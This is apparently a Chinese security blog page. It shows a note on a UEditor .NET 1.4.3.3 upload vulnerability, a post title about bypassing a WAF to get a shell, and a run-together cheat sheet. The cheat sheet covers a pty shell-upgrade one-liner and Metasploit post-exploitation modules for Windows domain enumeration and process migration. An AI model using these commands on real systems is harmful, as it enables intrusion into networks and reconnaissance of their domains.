sweelg的博客

该漏洞影响UEditor的.Net版本，其它语言版本暂时未受影响 影响版本 1.4.3.3 .NET。

一次实战文件上传绕waf getshell

python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xtermCtrl+Zstty -astty raw -echo;fgresetstty rows 29 columns 94row和columns数据为stty -a后的数据

run post/windows/gather/enum_on_users#查看登录过的用户信息run post/windows/gather/enum_ad_groups #查看组信息run post/windows/gather/enum_domain #定位域控run post/windows/gather/enum_ad_computers #域内所有机器run post/windows/manage/migrate...